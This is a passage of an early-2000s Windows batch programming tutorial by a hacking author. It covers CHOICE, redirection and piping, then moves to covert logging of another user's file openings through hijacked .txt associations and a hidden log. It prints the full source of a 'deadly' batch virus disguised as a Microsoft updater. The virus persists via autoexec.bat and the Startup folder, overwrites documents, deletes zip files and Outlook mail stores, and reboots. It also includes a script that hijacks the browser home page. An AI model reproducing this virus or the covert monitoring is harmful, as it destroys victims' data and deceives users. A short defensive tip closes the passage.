  1522. Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to know what the CHOICE command returns.
  1523.  
  1524.  
  1525.  
  1526.  
  1527.  
  1528. The CHOICE command is designed to return an error level according to the pressed key and its position in the /C flag. To understand this better, consider the following example,
  1529.  
  1530.  
  1531.  
  1532.  
  1533.  
  1534. CHOICE /C:AN12
  1535.  
  1536.  
  1537.  
  1538.  
  1539.  
  1540. Now remember that the error level code value depends on the key pressed. This means that if the key A is pressed, then the error level is 1, if the key N is pressed then the error level is 2, if 1 is pressed then error level is 3 and if 2 is pressed then error level is 4.
  1541.  
  1542.  
  1543.  
  1544.  
  1545.  
  1546. Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is:
  1547.  
  1548.  
  1549.  
  1550.  
  1551.  
  1552. IF [NOT] ERRORLEVEL number command.
  1553.  
  1554.  
  1555.  
  1556.  
  1557.  
  1558. This statement evaluates the current error level number. If the condition is true then the command is executed. For Example,
  1559.  
  1560.  
  1561.  
  1562.  
  1563.  
  1564. IF ERRORLEVEL 3 ECHO Yes
  1565.  
  1566.  
  1567.  
  1568.  
  1569.  
  1570. The above statement prints Yes on the screen if the current error level is 3.
  1571.  
  1572.  
  1573. The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared.
  1574.  
  1575.  
  1576. For Example, in the following statement,
  1577.  
  1578.  
  1579.  
  1580.  
  1581.  
  1582. IF ERRORLEVEL 2 ECHO YES
  1583.  
  1584.  
  1585.  
  1586.  
  1587.  
  1588. The condition is true if the error level is > or = 2.
  1589.  
  1590.  
  1591.  
  1592.  
  1593.  
  1594. Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The following is an example of such a batch file which asks the User what browser to launch.
  1595.  
  1596.  
  1597.  
  1598.  
  1599.  
  1600.  
  1601.  
  1602.  
  1603. @ECHO OFF
  1604.  
  1605.  
  1606. ECHO.
  1607.  
  1608.  
  1609. ECHO.
  1610.  
  1611.  
  1612. ECHO Welcome to Browser Selection Program
  1613.  
  1614.  
  1615. ECHO.
  1616.  
  1617.  
  1618. ECHO 1. Internet Explorer 5.5
  1619.  
  1620.  
  1621. ECHO 2. Mozilla 5
  1622.  
  1623.  
  1624. ECHO x. Exit Browser Selection Program
  1625.  
  1626.  
  1627. ECHO.
  1628.  
  1629.  
  1630. CHOICE "Choose Browser" /C:12x /N
  1631.  
  1632.  
  1633. IF ERRORLEVEL 3 GOTO END
  1634.  
  1635.  
  1636. IF ERRORLEVEL 2 START C:\progra~1\Netscape
  1637.  
  1638.  
  1639. IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe
  1640.  
  1641.  
  1642. :END
  1643.  
  1644.  
  1645.  
  1646.  
  1647.  
  1648. NOTE: Observe the order in which we give the IF statements.
  1649.  
  1650.  
  1651.  
  1652.  
  1653.  
  1654. Redirection
  1655.  
  1656.  
  1657.  
  1658.  
  1659.  
  1660. Normally the Output is sent to the screen(The standard STDOUT)and the Input is read from the
  1661.  
  1662.  
  1663. Keyboard(The standard STDIN). This can be pretty boring. You can actually redirect both the Input and the
  1664.  
  1665.  
  1666. Output to something other than the standard I/O devices.
  1667.  
  1668.  
  1669.  
  1670.  
  1671.  
  1672. To send the Output to somewhere other than the screen we use the Output Redirection Operator, > which is
  1673.  
  1674.  
  1675. most commonly used to capture results of a command in a text file. Say you want to read the help on how to
  1676.  
  1677.  
  1678. use the net command, typing the usual Help command is not useful as the results do not fit in one screen
  1679.  
  1680.  
  1681. and scroll by extremely quickly. So instead we use the Output Redirection operator to capture the results of
  1682.  
  1683.  
  1684. the command in a text file.
  1685.  
  1686.  
  1687.  
  1688.  
  1689.  
  1690. c:\windows>net > xyz.txt
  1691.  
  1692.  
  1693.  
  1694.  
  1695.  
  1696. This command will execute the net command and will store the results in the text file, xyz.txt . Whenever
  1697.  
  1698.  
  1699. DOS comes by such a command, it checks if the specified file exists or not. If it does, then everything in the
  1700.  
  1701.  
  1702. file is erased or lost and the results are stored in it. If no such file exists, then DOS creates a new file and
  1703.  
  1704.  
  1705. stores the results in this new file.
  1706.  
  1707.  
  1708.  
  1709.  
  1710.  
  1711. Say, you want to store the results of more than one command in the same text file, and want to ensure that
  1712.  
  1713.  
  1714. the results of no command are lost, then you make use of the Double Output Re Direction Symbol, which is
  1715.  
  1716.  
  1717. the >> symbol.
  1718.  
  1719.  
  1720. For Example,
  1721.  
  1722.  
  1723.  
  1724.  
  1725.  
  1726. c:\windows> net >> xyz.txt
  1727.  
  1728.  
  1729.  
  1730.  
  1731.  
  1732. The above command tells DOS to execute the net command and append the output to the xyz.txt file, if it
  1733.  
  1734.  
  1735. exits.
  1736.  
  1737.  
  1738.  
  1739.  
  1740.  
  1741. DOS not only allows redirection to Files, but also allows redirection to various devices.
  1742.  
  1743.  
  1744.  
  1745.  
  1746.  
  1747. DEVICE NAME USED DEVICE
  1748.  
  1749.  
  1750.  
  1751.  
  1752.  
  1753. AUX Auxiliary Device (COM1)
  1754.  
  1755.  
  1756. CLOCK$ Real Time Clock
  1757.  
  1758.  
  1759. COMn Serial Port(COM1, COM2, COM3, COM4)
  1760.  
  1761.  
  1762. CON Console(Keyboard, Screen)
  1763.  
  1764.  
  1765. LPTn Parallel Port(LPT1, LPT2, LPT3)
  1766.  
  1767.  
  1768. NUL NUL Device(means Nothing)
  1769.  
  1770.  
  1771. PRN Printer
  1772.  
  1773.  
  1774.  
  1775.  
  1776.  
  1777. Say for example, you want to print the results of directory listings, then you can simply give the following
  1778.  
  1779.  
  1780. command:
  1781.  
  1782.  
  1783.  
  1784.  
  1785.  
  1786. c:\windows>dir *.* > prn
  1787.  
  1788.  
  1789.  
  1790.  
  1791.  
  1792. The NUL device(nothing) is a bit difficult to understand and requires special mention. This device which is
  1793.  
  1794.  
  1795. also known as the 'bit bucket' literally means nothing. Redirection to the NUL device practically has no usage
  1796.  
  1797.  
  1798. but can be used to suppress the messages which DOS displays on the completion of a task. For example,
  1799.  
  1800.  
  1801. when DOS has successfully copied a particular file, then it displays the message: '1 file(s) copied.'
  1802.  
  1803.  
  1804. Now say you want to suppress this task completion message, then you can make use of the NUL device.
  1805.  
  1806.  
  1807.  
  1808.  
  1809.  
  1810. c:\windows>copy file.txt > NUL
  1811.  
  1812.  
  1813.  
  1814.  
  1815.  
  1816. This will suppress the task completion message and not display it.
  1817.  
  1818.  
  1819.  
  1820.  
  1821.  
  1822. Redirecting Input
  1823.  
  1824.  
  1825.  
  1826.  
  1827.  
  1828. Just like we can redirect Output, we can also redirect Input. It is handled by the Input Redirection Operator,
  1829.  
  1830.  
  1831. which is the < symbol. It is most commonly used to send the contents of a text file to DOS. The other common
  1832.  
  1833.  
  1834. usage of this feature is the MORE command which displays a file one screen at a time unlike the TYPE
  1835.  
  1836.  
  1837. command which on execution displays the entire file.(This becomes impossible to read as the file scrolls by
  1838.  
  1839.  
  1840. at incredible speed.)Thus, many people send the long text file to the MORE command by using the
  1841.  
  1842.  
  1843. command:
  1844.  
  1845.  
  1846.  
  1847.  
  1848.  
  1849. c:\windows>more < xyz.txt
  1850.  
  1851.  
  1852.  
  1853.  
  1854.  
  1855. This command sends the contents of the xyz.txt file to the MORE command which displays the contents
  1856.  
  1857.  
  1858. page by page. Once the first page is read the MORE command displays something like the following on the
  1859.  
  1860.  
  1861. screen:
  1862.  
  1863.  
  1864.  
  1865.  
  1866.  
  1867. ......MORE......
  1868.  
  1869.  
  1870.  
  1871.  
  1872.  
  1873. You can also send key strokes to any DOS command which waits for User Input or needs User intervention to perform a task. You can also send multiple keystrokes. For example, a typical Format
  1874.  
  1875.  
  1876. command requires 4 inputs, firstly pressing Enter to give the command, then Disk Insertion prompt, then the
  1877.  
  1878.  
  1879. VOLUME label prompt and lastly the one to format another disk. So basically there are three User inputs-:
  1880.  
  1881.  
  1882. ENTER, ENTER N and ENTER.(ENTER is Carriage return)So you can include this in a Batch file and give
  1883.  
  1884.  
  1885. the format command in the following format:
  1886.  
  1887.  
  1888.  
  1889.  
  1890.  
  1891. c:\windows>format a: < xyz.bat
  1892.  
  1893.  
  1894.  
  1895.  
  1896.  
  1897. PIPING
  1898.  
  1899.  
  1900.  
  1901.  
  1902.  
  1903. Piping is a feature which combines both Input and Output Redirection. It uses the Pipe operator, which is the
  1904.  
  1905.  
  1906. | symbol. This command captures the Output of one command and sends it as the Input of the other
  1907.  
  1908.  
  1909. command. Say for example, when you give the command del *.* then you need to confirm that you mean to
  1910.  
  1911.  
  1912. delete all files by pressing y. Instead we can simply do the same without any User Interaction by giving the
  1913.  
  1914.  
  1915. command:
  1916.  
  1917.  
  1918.  
  1919.  
  1920.  
  1921. c:\windows> echo y | del *.*
  1922.  
  1923.  
  1924.  
  1925.  
  1926.  
  1927. This command is pretty self explanatory, y is sent to the command del *.*
  1928.  
  1929.  
  1930. Batch File Programming can be very easy and quite useful. The only thing that one needs to be able to become a Batch File Programming nerd, is adequate knowledge of DOS commands. I suggest you surf the net or get a book on DOS commands and really lick the pages off the book, only then can you become an expert.
  1931.  
  1932.  
  1933.  
  1934.  
  1935.  
  1936.  
  1937.  
  1938.  
  1939. Making your own Syslog Daemon
  1940.  
  1941.  
  1942.  
  1943.  
  1944.  
  1945. We can easily combine the power of batch file programs and the customizable Windows Interface to make
  1946.  
  1947.  
  1948. our own small but efficient System Logging Daemon.
  1949.  
  1950.  
  1951. Basically this Syslog Daemon can keep a track of the files opened(any kind of files), the time at which the
  1952.  
  1953.  
  1954. files were opened also actually post the log of the User's activities on to the web, so that the System
  1955.  
  1956.  
  1957. Administrator can keep a eye on things.
  1958.  
  1959.  
  1960.  
  1961.  
  1962.  
  1963. Simply follow the following steps to make the daemon-:
  1964.  
  1965.  
  1966.  
  1967.  
  1968.  
  1969. NOTE: In the following example, I am making a syslog daemon which keeps an eye on what text files were
  1970.  
  1971.  
  1972. opened by the User. You can easily change what files you want it to keep an eye on by simply following the
  1973.  
  1974.  
  1975. same steps.
  1976.  
  1977.  
  1978.  
  1979.  
  1980.  
  1981.  
  1982.  
  1983.  
  1984. 1. ASSOCIATING THE FILES TO BE MONITORED TO THE LOGGER
  1985.  
  1986.  
  1987.  
  1988.  
  1989.  
  1990. Actually this step is not the first, but being the easiest, I have mentioned it earlier. The first thing to do is to
  1991.  
  1992.  
  1993. associate the text files(*.txt) files to our batch file which contains the code to log the User's activities. You can
  1994.  
  1995.  
  1996. of course keep an eye on other files as well, the procedure is almost similar. Anyway, we associate .txt files
  1997.  
  1998.  
  1999. to our batch program so that each time a .txt file is opened, the batch file is also executed. To do this, we
  2000.  
  2001.  
  2002. need to change the File Associations of .txt files.
  2003.  
  2004.  
  2005. For more information on Changing File Associations, refer to the Windows Help Files, simply type
  2006.  
  2007.  
  2008. Associations and search. Anyway to change the associations of .txt files and to point them to our batch
  2009.  
  2010.  
  2011. file, simply do the below:
  2012.  
  2013.  
  2014.  
  2015.  
  2016.  
  2017. Locate any .txt file on your system, select it(click once) and Press the SHIFT key. Keeping the SHIFT key
  2018.  
  2019.  
  2020. pressed, right click on the .txt file to bring up the OPEN WITH... option. Clicking on the OPEN WITH... option
  2021.  
  2022.  
  2023. will bring up OPEN WITH dialog box. Now click on the OTHER button and locate the batch file program
  2024.  
  2025.  
  2026. which contains the logging code and click on OPEN and OK.
  2027.  
  2028.  
  2029. Now each time a .txt file is opened, the batch file is also executed, hence logging all interactions of the User
  2030.  
  2031.  
  2032. with .txt files.
  2033.  
  2034.  
  2035.  
  2036.  
  2037.  
  2038. 2. Creating the Log File
  2039.  
  2040.  
  2041.  
  2042.  
  2043.  
  2044. Now you need to create a text file, which actually will act like a log file and will log the activities of the User.
  2045.  
  2046.  
  2047. This log file will contain the filename and the time at which the .txt file was opened. Create a new blank text
  2048.  
  2049.  
  2050. file in the same directory as the batch file. Now change the attributes of this log file and make it hidden by
  2051.  
  2052.  
  2053. changing it's attributes by issuing the ATTRIB command.
  2054.  
  2055.  
  2056.  
  2057.  
  2058.  
  2059. C:\windows>attrib xyz.txt +h
  2060.  
  2061.  
  2062.  
  2063.  
  2064.  
  2065. This will ensure that a lamer will not know as to where the log file is located.
  2066.  
  2067.  
  2068.  
  2069.  
  2070.  
  2071. 3. CODING THE LOGGING BATCH FILE
  2072.  
  2073.  
  2074.  
  2075.  
  2076.  
  2077. The coding of the actual batch file which will log the User's activities and post it on the web is quite simple. If
  2078.  
  2079.  
  2080. you have read this tutorial properly till now, then you would easily be able to understand it, although I still
  2081.  
  2082.  
  2083. have inserted comments for novices.
  2084.  
  2085.  
  2086.  
  2087.  
  2088.  
  2089. echo %1 >> xyz.txt /* Send the file name of the file opened to the log file, xyz.txt */
  2090.  
  2091.  
  2092. notepad %1 /* Launch Notepad so that the lamer does not know something is wrong. */
  2093.  
  2094.  
  2095.  
  2096.  
  2097.  
  2098. This logging file will only log the filename of the text file which was opened by the unsuspecting lamer, say
  2099.  
  2100.  
  2101. you want to also log the time at which a particular file was opened, then you simply make use of the 'time'
  2102.  
  2103.  
  2104. command. The only thing that one needs to keep in mind is that after giving the TIME command , we need
  2105.  
  2106.  
  2107. to press enter too, which in turn has to entered in the batch file too.
  2108.  
  2109.  
  2110.  
  2111.  
  2112.  
  2113. Say you, who are the system administrator does not have physical access or have gone on a business trip,
  2114.  
  2115.  
  2116. but have access to the net and need to keep in touch with the server log file, then you easily link the log file
  2117.  
  2118.  
  2119. to a HTML file and easily view it on the click of a button. You could also make this part of the site password
  2120.  
  2121.  
  2122. protected or even better form a public security watch contest where the person who spots something fishy
  2123.  
  2124.  
  2125. wins a prize or something, anyway the linking can easily be done by creating an .htm or. html file and
  2126.  
  2127.  
  2128. inserting the following snippet of code:
  2129.  
  2130.  
  2131.  
  2132.  
  2133.  
  2134. <html>
  2135.  
  2136.  
  2137. <title> Server Logs</title>
  2138.  
  2139.  
  2140. <body>
  2141.  
  2142.  
  2143. <a href="xyz.txt>Click here to read the Server Logs</a>
  2144.  
  2145.  
  2146. </body>
  2147.  
  2148.  
  2149. </html>
  2150.  
  2151.  
  2152.  
  2153.  
  2154.  
  2155. That was an example of the easiest HTML page one could create.
  2156.  
  2157.  
  2158.  
  2159.  
  2160.  
  2161. Another enhancement that one could make is to prevent the opening of a particular file. Say if you want to prevent the user from launching abc.txt then you would need to insert an IF conditional statement.
  2162.  
  2163.  
  2164.  
  2165.  
  2166.  
  2167. IF "%1" == "filename.extension" ECHO Error Message Here
  2168.  
  2169.  
  2170.  
  2171.  
  2172.  
  2173. 4. Enhancing the logging Batch file to escape the eyes of the Lamer.
  2174.  
  2175.  
  2176.  
  2177.  
  2178.  
  2179. To enhance the functioning of our logging daemon, we need to first know it's normal functioning.
  2180.  
  2181.  
  2182. Normally, if you have followed the above steps properly, then each time a .txt file is opened, the batch file
  2183.  
  2184.  
  2185. is launched(in a new window, which is maximized) and which in turn launches Notepad. Once the filename
  2186.  
  2187.  
  2188. and time have been logged, the batch file Window does not close automatically and the User has to exit
  2189.  
  2190.  
  2191. from the Window manually. So maybe someone even remotely intelligent will suspect something fishy. We
  2192.  
  2193.  
  2194. can configure our batch file to work minimized and to close itself after the logging process has been
  2195.  
  2196.  
  2197. completed. To do this simply follow the following steps-:
  2198.  
  2199.  
  2200.  
  2201.  
  2202.  
  2203. a) Right Click on the Batch File.
  2204.  
  2205.  
  2206. b) Click on properties from the Pop up menu.
  2207.  
  2208.  
  2209. c) In the Program tab click on the Close on Exit option.
  2210.  
  2211.  
  2212. d) Under the same tab, under the RUN Input box select Minimized.
  2213.  
  2214.  
  2215. e) Click on Apply and voila the batch file is now more intelligent
  2216.  
  2217.  
  2218.  
  2219.  
  2220.  
  2221. This was just an example of a simple batch file program. You can easily create a more intelligent and more useful program using batch code.
  2222.  
  2223.  
  2224.  
  2225.  
  2226.  
  2227. MAKING YOUR OWN DEADLY BATCH FILE VIRUS: The atimaN_8 Batch File Virus
  2228.  
  2229.  
  2230.  
  2231.  
  2232.  
  2233. DISCLAIMER: This Virus was created by Ankit Fadia ankit@bol.net.in and is meant for educational purposes only. This Virus was coded to make people understand the basic concept of the Working of a Virus. Execute this Batch File at your own Risk. Any Damage caused by this file is not Ankit Fadia's fault. If you want any information regarding this Virus, do please feel free to contact me at: ankit@bol.net.in also visit my site at: http://www.crosswinds.net/~hackingtruths
  2234.  
  2235.  
  2236.  
  2237.  
  2238.  
  2239. The following is a simple but somewhat deadly (but quite lame)Batch File Virus that I created. I have named it, atimaN_8 I have used no advanced Batch or DOS commands in this virus and am sure that almost all you will have no problem understanding the code, If you still have trouble understanding the code, do mail me at ankit@bol.net.in
  2240.  
  2241.  
  2242.  
  2243.  
  2244.  
  2245. @ECHO OFF
  2246.  
  2247.  
  2248. CLS
  2249.  
  2250.  
  2251. IF EXIST c:\winupdt.bat GOTO CODE
  2252.  
  2253.  
  2254. GOTO SETUP
  2255.  
  2256.  
  2257. :SETUP
  2258.  
  2259.  
  2260. @ECHO OFF
  2261.  
  2262.  
  2263. ECHO Welcome To Microsoft Windows System Updater Setup
  2264.  
  2265.  
  2266. ECHO.
  2267.  
  2268.  
  2269. copy %0 c:\winupdt.bat >> NUL
  2270.  
  2271.  
  2272. ECHO Scanning System.....Please Wait
  2273.  
  2274.  
  2275. prompt $P$SWindows2000
  2276.  
  2277.  
  2278. type %0 >> c:\autoexec.bat
  2279.  
  2280.  
  2281. type %0 >> c:\windows\dosstart.bat
  2282.  
  2283.  
  2284. ECHO DONE.
  2285.  
  2286.  
  2287. ECHO.
  2288.  
  2289.  
  2290. ECHO Installing Components....Please Wait
  2291.  
  2292.  
  2293. FOR %%a IN (*.zip) DO del %%a
  2294.  
  2295.  
  2296. FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
  2297.  
  2298.  
  2299. FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
  2300.  
  2301.  
  2302. FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
  2303.  
  2304.  
  2305. ECHO DONE.
  2306.  
  2307.  
  2308. ECHO.
  2309.  
  2310.  
  2311. ECHO You Now Need to Register with Microsoft's Partner: Fortune Galaxy to receive automatic updates.
  2312.  
  2313.  
  2314. PAUSE
  2315.  
  2316.  
  2317. ECHO Downloading Components...Please Wait
  2318.  
  2319.  
  2320. START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths
  2321.  
  2322.  
  2323. IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"
  2324.  
  2325.  
  2326. IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"
  2327.  
  2328.  
  2329. ECHO Setup Will Now restart Your Computer....Please Wait
  2330.  
  2331.  
  2332. ECHO Your System is not faster by almost 40%.
  2333.  
  2334.  
  2335. ECHO Thank you for using a Microsoft Partner's product.
  2336.  
  2337.  
  2338. copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
  2339.  
  2340.  
  2341. c:\WINDOWS\RUNDLL user.exe,exitwindowsexec
  2342.  
  2343.  
  2344. CLS
  2345.  
  2346.  
  2347. GOTO END
  2348.  
  2349.  
  2350.  
  2351.  
  2352.  
  2353.  
  2354.  
  2355.  
  2356. :CODE
  2357.  
  2358.  
  2359. CLS
  2360.  
  2361.  
  2362. @ECHO OFF
  2363.  
  2364.  
  2365. prompt $P$SWindows2000
  2366.  
  2367.  
  2368. IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC
  2369.  
  2370.  
  2371. type %0 >> c:\autoexec.bat
  2372.  
  2373.  
  2374. :ABC
  2375.  
  2376.  
  2377. type %0 >> c:\windows\dosstart.bat
  2378.  
  2379.  
  2380. FOR %%a IN (*.zip) DO del %%a
  2381.  
  2382.  
  2383. FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
  2384.  
  2385.  
  2386. FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
  2387.  
  2388.  
  2389. FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
  2390.  
  2391.  
  2392. START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths
  2393.  
  2394.  
  2395. IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL
  2396.  
  2397.  
  2398. IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL
  2399.  
  2400.  
  2401. copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
  2402.  
  2403.  
  2404. GOTO :END
  2405.  
  2406.  
  2407. CLS
  2408.  
  2409.  
  2410. :END
  2411.  
  2412.  
  2413. CLS
  2414.  
  2415.  
  2416.  
  2417.  
  2418.  
  2419. This was an example of a pretty lame batch file virus. We can similarly create a virus which will edit the registry and create havoc. This is just a thought, I am not responsible for what you do with this.
  2420.  
  2421.  
  2422.  
  2423.  
  2424.  
  2425. There is simply no direct way of editing the Windows Registry through a batch file. Although there are Windows Registry Command line options(Check them out in the Advanced Windows Hacking Chapter, they are not as useful as adding keys or editing keys, can be. The best option we have is to create a .reg file and then execute it through a batch file. The most important thing to remember hear is the format of a .reg file and the fact that the first line of all .reg files should contain nothing but the string REGEDIT4, else Windows wil not be able to recognize it as a registry file. The following is a simple example of a batch file which changes the home page of the User (If Internet Explorer is installed)
  2426.  
  2427.  
  2428. to http://hackingtruths.tripod.com
  2429.  
  2430.  
  2431.  
  2432.  
  2433.  
  2434. @ECHO OFF
  2435.  
  2436.  
  2437. ECHO REGEDIT4 >ankit.reg
  2438.  
  2439.  
  2440. ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> ankit.reg
  2441.  
  2442.  
  2443. ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg
  2444.  
  2445.  
  2446. START ankit.reg
  2447.  
  2448.  
  2449.  
  2450.  
  2451.  
  2452. Creating a .reg file is not as easy as it seems. You see, for Windows to recognize a file as a Registry file and for Windows to add the contents of the .reg file to the registry, it has to be in a particular recognizable format, else an error message would be displayed. I would not want to repeat, the entire Windows Registry File format here, as the Advanced Windows Hacking Manual has a huge section, specially dedicated to the Windows Registry.
  2453.  
  2454.  
  2455.  
  2456.  
  2457.  
  2458. Protection from Batch File Viruses
  2459.  
  2460.  
  2461.  
  2462.  
  2463.  
  2464. If you double-click a batch file (.bat files) it will run automatically. This can be dangerous as batch files can contain harmful commands sometimes. Worst still, if you use the single-click option, one wrong click and it's goodbye Windows. Now most power users would like to set edit as the default action. To best way to do that is to go to Explorer's Folder Options' File View tab to change the modify the default action. However, to add insult to injury, when you arrive there, you will find that the Edit and Set Default buttons has been grayed out. This is a "feature" from Microsoft you might not appreciate.
  2465.  
  2466.  
  2467. To conquer our problem here, flare up your registry editor and go to HKEY_CLASSES_ROOT\batfile\shell\open Rename the open key to run, thus becoming HKEY_CLASSES_ROOT\batfile\shell\run. Double-click the EditFlags binary value in HKEY_CLASSES_ROOT\batfile and enter 00 00 00 00 as the new value. Now, open Explorer, click Folder Options from the View menu and select the File Types tab, scroll down to the "MS-DOS Batch File" item, highlight it and click Edit. You'll notice that the last three buttons (Edit, Remove and Set Default) are now enabled and that you can select Edit as the default action.
  2468.  
  2469.  
  2470.  
  2471.  
  2472.  
  2473.  
  2474.  
  2475.  
  2476. Ankit Fadia
  2477.  
  2478.  
  2479. ankit@bol.net.in
  2480.  
  2481.  
  2482.  
  2483.  
  2484.  
  2485. Get the Archive of Manuals [EVERYTHING YOU DREAMT OFF] written by Ankit Fadia
  2486.  
  2487.  
  2488. At his mailing list.
  2489.  
  2490.  
  2491. To get the manuals in your Inbox join his mailing list by sending an email to:
  2492.  
  2493.  
  2494. programmingforhackers-subscribe@egroups.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement